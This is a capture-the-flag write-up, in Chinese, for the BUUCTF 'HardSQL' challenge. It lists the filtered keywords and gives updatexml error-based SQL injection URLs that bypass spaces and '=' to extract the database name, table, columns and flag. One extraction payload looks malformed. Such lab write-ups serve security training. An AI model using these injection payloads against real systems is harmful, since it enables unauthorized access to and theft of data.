[极客大挑战 2019]HardSQL
SQL注入题,打开是登录窗口,抓包查看

Fuzz发现构造闭合的方式
username=admin'or'1
过滤了许多关键词
+
-
and
*
<
>
|
空格
等等
使用Burpsuite Fuzz
%00 到 %ff
得到空格的替代字符

http://f57b9924-6938-4343-8229-1c27dec37eb6.node4.buuoj.cn:81/check.php?username=admin123&password=admin'or(updatexml(1,concat(0x7e,(select%00MM),0x7e),1))or'0
使用 updatexml 报错注入获取数据
/check.php?username=admin123&password=admin%27or(updatexml(1,concat(0x7e,user(),0x7e),1))or%270

/check.php?username=admin123&password=admin%27or(updatexml(1,concat(0x7e,database(),0x7e),1))or%270

获取表名
发现会过滤等于号(=),可以用like代替
/check.php?username=admin123&password=admin%27or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like(database())),0x7e),1))or%27

得到:H4rDsq1
获取字段名
/check.php?username=admin123&password=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))or%27

获取数据
/check.php?username=admin123&password=admin%27or(updatexml(1,concat(0x7e,(select(id,username,password)from('H4rDsq1')),0x7e),1))or%27

Right 函数查看右边部分

Get Flag!
最后更新于
这有帮助吗?